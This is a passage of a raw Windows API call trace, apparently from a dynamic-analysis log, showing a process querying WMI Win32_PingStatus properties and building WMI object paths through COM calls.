[0126.948] SysStringByteLen (bstr="") returned 0x0 [0126.948] SysStringByteLen (bstr="") returned 0x0 [0126.948] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="RecordRoute", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195c14*=0, plFlavor=0x2195c18*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195c14*=19, plFlavor=0x2195c18*=0) returned 0x0 [0126.948] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="ReplyInconsistency", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195d10*=0, plFlavor=0x2195d14*=0 | out: pVal=0x572e954*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195d10*=11, plFlavor=0x2195d14*=0) returned 0x0 [0126.948] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="ReplySize", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195d80*=0, plFlavor=0x2195d84*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2195d80*=19, plFlavor=0x2195d84*=0) returned 0x0 [0126.949] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="ResolveAddressNames", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195df0*=0, plFlavor=0x2195df4*=0 | out: pVal=0x572e954*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195df0*=11, plFlavor=0x2195df4*=0) returned 0x0 [0126.949] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="ResponseTime", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195e60*=0, plFlavor=0x2195e64*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16, varVal2=0x0), pType=0x2195e60*=19, plFlavor=0x2195e64*=0) returned 0x0 [0126.949] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="ResponseTimeToLive", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195ed0*=0, plFlavor=0x2195ed4*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x36, varVal2=0x0), pType=0x2195ed0*=19, plFlavor=0x2195ed4*=0) returned 0x0 [0126.949] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="RouteRecord", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195f40*=0, plFlavor=0x2195f44*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195f40*=8200, plFlavor=0x2195f44*=32) returned 0x0 [0126.949] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="RouteRecordResolved", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195fa4*=0, plFlavor=0x2195fa8*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2195fa4*=8200, plFlavor=0x2195fa8*=32) returned 0x0 [0126.949] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="SourceRoute", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2196008*=0, plFlavor=0x219600c*=0 | out: pVal=0x572e954*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x2196008*=8, plFlavor=0x219600c*=0) returned 0x0 [0126.950] SysStringByteLen (bstr="") returned 0x0 [0126.950] SysStringByteLen (bstr="") returned 0x0 [0126.950] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="SourceRouteType", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x219606c*=0, plFlavor=0x2196070*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x219606c*=19, plFlavor=0x2196070*=0) returned 0x0 [0126.950] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="StatusCode", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21960dc*=0, plFlavor=0x21960e0*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21960dc*=19, plFlavor=0x21960e0*=0) returned 0x0 [0126.950] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="Timeout", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2196584*=0, plFlavor=0x2196588*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa0, varVal2=0x0), pType=0x2196584*=19, plFlavor=0x2196588*=0) returned 0x0 [0126.950] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="TimeStampRecord", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21965f4*=0, plFlavor=0x21965f8*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21965f4*=8211, plFlavor=0x21965f8*=32) returned 0x0 [0126.950] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="TimeStampRecordAddress", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2196658*=0, plFlavor=0x219665c*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2196658*=8200, plFlavor=0x219665c*=32) returned 0x0 [0126.950] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="TimeStampRecordAddressResolved", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21966bc*=0, plFlavor=0x21966c0*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21966bc*=8200, plFlavor=0x21966c0*=32) returned 0x0 [0126.951] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="TimestampRoute", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2196720*=0, plFlavor=0x2196724*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2196720*=19, plFlavor=0x2196724*=0) returned 0x0 [0126.951] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="TimeToLive", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2196790*=0, plFlavor=0x2196794*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50, varVal2=0x0), pType=0x2196790*=19, plFlavor=0x2196794*=0) returned 0x0 [0126.951] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="TypeofService", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x219690c*=0, plFlavor=0x2196910*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x219690c*=19, plFlavor=0x2196910*=0) returned 0x0 [0126.955] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572e8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e96c*=0, plFlavor=0x572e968*=0 | out: pVal=0x572e8e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64) returned 0x0 [0126.955] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0126.955] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0126.955] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64 | out: pVal=0x572e8e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64) returned 0x0 [0126.955] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.955] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.955] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64 | out: pVal=0x572e8e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64) returned 0x0 [0126.955] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.955] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.955] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d8 [0126.955] SetEvent (hEvent=0x3f4) returned 1 [0126.956] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e844*=0x4d8, lpdwindex=0x572e668 | out: lpdwindex=0x572e668) returned 0x0 [0126.976] CoGetContextToken (in: pToken=0x572e71c | out: pToken=0x572e71c) returned 0x0 [0126.976] CoGetContextToken (in: pToken=0x572e67c | out: pToken=0x572e67c) returned 0x0 [0126.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b668, riid=0x572e74c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e748 | out: ppvObject=0x572e748*=0x37b668) returned 0x0 [0126.976] WbemDefPath:IUnknown:AddRef (This=0x37b668) returned 0x3 [0126.976] WbemDefPath:IUnknown:Release (This=0x37b668) returned 0x2 [0126.976] WbemDefPath:IWbemPath:SetText (This=0x37b668, uMode=0x4, pszPath="") returned 0x0 [0126.977] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4dc [0126.977] SetEvent (hEvent=0x3f4) returned 1 [0126.977] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e844*=0x4dc, lpdwindex=0x572e668 | out: lpdwindex=0x572e668) returned 0x0 [0126.979] CoGetContextToken (in: pToken=0x572e71c | out: pToken=0x572e71c) returned 0x0 [0126.979] CoGetContextToken (in: pToken=0x572e67c | out: pToken=0x572e67c) returned 0x0 [0126.979] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b6d8, riid=0x572e74c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e748 | out: ppvObject=0x572e748*=0x37b6d8) returned 0x0 [0126.979] WbemDefPath:IUnknown:AddRef (This=0x37b6d8) returned 0x3 [0126.979] WbemDefPath:IUnknown:Release (This=0x37b6d8) returned 0x2 [0126.979] WbemDefPath:IWbemPath:SetText (This=0x37b6d8, uMode=0x4, pszPath="") returned 0x0 [0126.979] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b6d8, puCount=0x572e8e8 | out: puCount=0x572e8e8*=0x0) returned 0x0 [0126.979] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b668, puCount=0x572e8e8 | out: puCount=0x572e8e8*=0x0) returned 0x0 [0126.979] WbemDefPath:IWbemPath:GetClassName (in: This=0x37b6d8, puBuffLength=0x572e940*=0x0, pszName=0x0 | out: puBuffLength=0x572e940*=0x0, pszName=0x0) returned 0x8004103a [0126.980] WbemDefPath:IWbemPath:GetServer (in: This=0x37b6d8, puNameBufLength=0x572e93c*=0x0, pName=0x0 | out: puNameBufLength=0x572e93c*=0x0, pName=0x0) returned 0x80041009 [0126.980] WbemDefPath:IWbemPath:SetServer (This=0x37b6d8, Name="Q9IATRKPRH") returned 0x0 [0126.980] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e0 [0126.981] SetEvent (hEvent=0x3f4) returned 1 [0126.981] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e844*=0x4e0, lpdwindex=0x572e668 | out: lpdwindex=0x572e668) returned 0x0 [0126.983] CoGetContextToken (in: pToken=0x572e71c | out: pToken=0x572e71c) returned 0x0 [0126.983] CoGetContextToken (in: pToken=0x572e67c | out: pToken=0x572e67c) returned 0x0 [0126.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b748, riid=0x572e74c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e748 | out: ppvObject=0x572e748*=0x37b748) returned 0x0 [0126.983] WbemDefPath:IUnknown:AddRef (This=0x37b748) returned 0x3 [0126.983] WbemDefPath:IUnknown:Release (This=0x37b748) returned 0x2 [0126.983] WbemDefPath:IWbemPath:SetText (This=0x37b748, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0126.983] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b6d8, puCount=0x572e8e8 | out: puCount=0x572e8e8*=0x0) returned 0x0 [0126.983] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b748, puCount=0x572e8e8 | out: puCount=0x572e8e8*=0x2) returned 0x0 [0126.983] WbemDefPath:IWbemPath:GetText (in: This=0x37b748, lFlags=16, puBuffLength=0x572e8e4*=0x0, pszText=0x0 | out: puBuffLength=0x572e8e4*=0xb, pszText=0x0) returned 0x0 [0126.983] WbemDefPath:IWbemPath:GetText (in: This=0x37b748, lFlags=16, puBuffLength=0x572e8e4*=0xb, pszText="0000000000" | out: puBuffLength=0x572e8e4*=0xb, pszText="root\\cimv2") returned 0x0 [0126.983] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x37b6d8) returned 0x0 [0126.983] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b748, puCount=0x572e920 | out: puCount=0x572e920*=0x2) returned 0x0 [0126.984] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37b748, uIndex=0x0, puNameBufLength=0x572e91c*=0x0, pName=0x0 | out: puNameBufLength=0x572e91c*=0x5, pName=0x0) returned 0x0 [0126.984] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37b748, uIndex=0x0, puNameBufLength=0x572e91c*=0x5, pName="0000" | out: puNameBufLength=0x572e91c*=0x5, pName="root") returned 0x0 [0126.984] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x37b6d8, uIndex=0x0, pszName="root") returned 0x0 [0126.984] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37b748, uIndex=0x1, puNameBufLength=0x572e91c*=0x0, pName=0x0 | out: puNameBufLength=0x572e91c*=0x6, pName=0x0) returned 0x0 [0126.984] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37b748, uIndex=0x1, puNameBufLength=0x572e91c*=0x6, pName="00000" | out: puNameBufLength=0x572e91c*=0x6, pName="cimv2") returned 0x0 [0126.984] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x37b6d8, uIndex=0x1, pszName="cimv2") returned 0x0 [0126.984] WbemDefPath:IWbemPath:GetClassName (in: This=0x37b6d8, puBuffLength=0x572e940*=0x0, pszName=0x0 | out: puBuffLength=0x572e940*=0x0, pszName=0x0) returned 0x8004103a [0126.984] WbemDefPath:IWbemPath:SetClassName (This=0x37b6d8, Name="Win32_PingStatus") returned 0x0 [0126.984] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b6d8, puCount=0x572e984 | out: puCount=0x572e984*=0x2) returned 0x0 [0126.984] WbemDefPath:IWbemPath:GetText (in: This=0x37b6d8, lFlags=4, puBuffLength=0x572e980*=0x0, pszText=0x0 | out: puBuffLength=0x572e980*=0x29, pszText=0x0) returned 0x0 [0126.984] WbemDefPath:IWbemPath:GetText (in: This=0x37b6d8, lFlags=4, puBuffLength=0x572e980*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x572e980*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0126.985] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572e8d4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e958*=0, plFlavor=0x572e954*=0 | out: pVal=0x572e8d4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x572e958*=8, plFlavor=0x572e954*=64) returned 0x0 [0126.985] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0126.985] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0126.986] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8d4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e958*=8, plFlavor=0x572e954*=64 | out: pVal=0x572e8d4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x572e958*=8, plFlavor=0x572e954*=64) returned 0x0 [0126.986] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.986] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.986] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e8d4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e958*=8, plFlavor=0x572e954*=64 | out: pVal=0x572e8d4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x572e958*=8, plFlavor=0x572e954*=64) returned 0x0 [0126.986] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.986] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.986] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e4 [0126.986] SetEvent (hEvent=0x3f4) returned 1 [0126.986] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e830*=0x4e4, lpdwindex=0x572e654 | out: lpdwindex=0x572e654) returned 0x0 [0126.989] CoGetContextToken (in: pToken=0x572e704 | out: pToken=0x572e704) returned 0x0 [0126.989] CoGetContextToken (in: pToken=0x572e664 | out: pToken=0x572e664) returned 0x0 [0126.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b7b8, riid=0x572e734*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e730 | out: ppvObject=0x572e730*=0x37b7b8) returned 0x0 [0126.989] WbemDefPath:IUnknown:AddRef (This=0x37b7b8) returned 0x3 [0126.989] WbemDefPath:IUnknown:Release (This=0x37b7b8) returned 0x2 [0126.990] WbemDefPath:IWbemPath:SetText (This=0x37b7b8, uMode=0x4, pszPath="") returned 0x0 [0126.990] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e8 [0126.990] SetEvent (hEvent=0x3f4) returned 1 [0126.990] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e830*=0x4e8, lpdwindex=0x572e654 | out: lpdwindex=0x572e654) returned 0x0 [0126.992] CoGetContextToken (in: pToken=0x572e704 | out: pToken=0x572e704) returned 0x0 [0126.992] CoGetContextToken (in: pToken=0x572e664 | out: pToken=0x572e664) returned 0x0 [0126.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b828, riid=0x572e734*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e730 | out: ppvObject=0x572e730*=0x37b828) returned 0x0 [0126.992] WbemDefPath:IUnknown:AddRef (This=0x37b828) returned 0x3 [0126.992] WbemDefPath:IUnknown:Release (This=0x37b828) returned 0x2 [0126.992] WbemDefPath:IWbemPath:SetText (This=0x37b828, uMode=0x4, pszPath="") returned 0x0 [0126.992] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b828, puCount=0x572e8d4 | out: puCount=0x572e8d4*=0x0) returned 0x0 [0126.992] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b7b8, puCount=0x572e8d4 | out: puCount=0x572e8d4*=0x0) returned 0x0 [0126.992] WbemDefPath:IWbemPath:GetClassName (in: This=0x37b828, puBuffLength=0x572e92c*=0x0, pszName=0x0 | out: puBuffLength=0x572e92c*=0x0, pszName=0x0) returned 0x8004103a [0126.993] WbemDefPath:IWbemPath:GetServer (in: This=0x37b828, puNameBufLength=0x572e928*=0x0, pName=0x0 | out: puNameBufLength=0x572e928*=0x0, pName=0x0) returned 0x80041009 [0126.993] WbemDefPath:IWbemPath:SetServer (This=0x37b828, Name="Q9IATRKPRH") returned 0x0 [0126.993] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4ec [0126.993] SetEvent (hEvent=0x3f4) returned 1 [0126.993] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e830*=0x4ec, lpdwindex=0x572e654 | out: lpdwindex=0x572e654) returned 0x0 [0126.995] CoGetContextToken (in: pToken=0x572e704 | out: pToken=0x572e704) returned 0x0 [0126.995] CoGetContextToken (in: pToken=0x572e664 | out: pToken=0x572e664) returned 0x0 [0126.995] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b898, riid=0x572e734*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e730 | out: ppvObject=0x572e730*=0x37b898) returned 0x0 [0126.995] WbemDefPath:IUnknown:AddRef (This=0x37b898) returned 0x3 [0126.995] WbemDefPath:IUnknown:Release (This=0x37b898) returned 0x2 [0126.995] WbemDefPath:IWbemPath:SetText (This=0x37b898, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0126.995] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b828, puCount=0x572e8d4 | out: puCount=0x572e8d4*=0x0) returned 0x0 [0126.995] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b898, puCount=0x572e8d4 | out: puCount=0x572e8d4*=0x2) returned 0x0 [0126.995] WbemDefPath:IWbemPath:GetText (in: This=0x37b898, lFlags=16, puBuffLength=0x572e8d0*=0x0, pszText=0x0 | out: puBuffLength=0x572e8d0*=0xb, pszText=0x0) returned 0x0 [0126.995] WbemDefPath:IWbemPath:GetText (in: This=0x37b898, lFlags=16, puBuffLength=0x572e8d0*=0xb, pszText="0000000000" | out: puBuffLength=0x572e8d0*=0xb, pszText="root\\cimv2") returned 0x0 [0126.995] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x37b828) returned 0x0 [0126.995] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b898, puCount=0x572e90c | out: puCount=0x572e90c*=0x2) returned 0x0 [0126.995] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37b898, uIndex=0x0, puNameBufLength=0x572e908*=0x0, pName=0x0 | out: puNameBufLength=0x572e908*=0x5, pName=0x0) returned 0x0 [0126.995] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37b898, uIndex=0x0, puNameBufLength=0x572e908*=0x5, pName="0000" | out: puNameBufLength=0x572e908*=0x5, pName="root") returned 0x0 [0126.996] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x37b828, uIndex=0x0, pszName="root") returned 0x0 [0126.996] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37b898, uIndex=0x1, puNameBufLength=0x572e908*=0x0, pName=0x0 | out: puNameBufLength=0x572e908*=0x6, pName=0x0) returned 0x0 [0126.996] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37b898, uIndex=0x1, puNameBufLength=0x572e908*=0x6, pName="00000" | out: puNameBufLength=0x572e908*=0x6, pName="cimv2") returned 0x0 [0126.996] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x37b828, uIndex=0x1, pszName="cimv2") returned 0x0 [0126.996] WbemDefPath:IWbemPath:GetClassName (in: This=0x37b828, puBuffLength=0x572e92c*=0x0, pszName=0x0 | out: puBuffLength=0x572e92c*=0x0, pszName=0x0) returned 0x8004103a [0126.996] WbemDefPath:IWbemPath:SetClassName (This=0x37b828, Name="Win32_PingStatus") returned 0x0 [0126.996] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b828, puCount=0x572e948 | out: puCount=0x572e948*=0x2) returned 0x0 [0126.996] WbemDefPath:IWbemPath:GetText (in: This=0x37b828, lFlags=4, puBuffLength=0x572e944*=0x0, pszText=0x0 | out: puBuffLength=0x572e944*=0x29, pszText=0x0) returned 0x0 [0126.996] WbemDefPath:IWbemPath:GetText (in: This=0x37b828, lFlags=4, puBuffLength=0x572e944*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x572e944*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0126.996] WbemDefPath:IWbemPath:GetInfo (in: This=0x37b828, uRequestedInfo=0x0, puResponse=0x572e950 | out: puResponse=0x572e950*=0x20c16) returned 0x0 [0126.996] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b828, puCount=0x572e948 | out: puCount=0x572e948*=0x2) returned 0x0 [0126.996] WbemDefPath:IWbemPath:GetText (in: This=0x37b828, lFlags=8, puBuffLength=0x572e944*=0x0, pszText=0x0 | out: puBuffLength=0x572e944*=0x18, pszText=0x0) returned 0x0 [0126.996] WbemDefPath:IWbemPath:GetText (in: This=0x37b828, lFlags=8, puBuffLength=0x572e944*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x572e944*=0x18, pszText="\\\\Q9IATRKPRH\\root\\cimv2") returned 0x0 [0126.996] WbemDefPath:IWbemPath:GetInfo (in: This=0x37b828, uRequestedInfo=0x0, puResponse=0x572e950 | out: puResponse=0x572e950*=0x20c16) returned 0x0 [0126.996] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f0 [0126.997] SetEvent (hEvent=0x3f4) returned 1 [0126.997] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e8a4*=0x4f0, lpdwindex=0x572e6c8 | out: lpdwindex=0x572e6c8) returned 0x0 [0126.999] CoGetContextToken (in: pToken=0x572e77c | out: 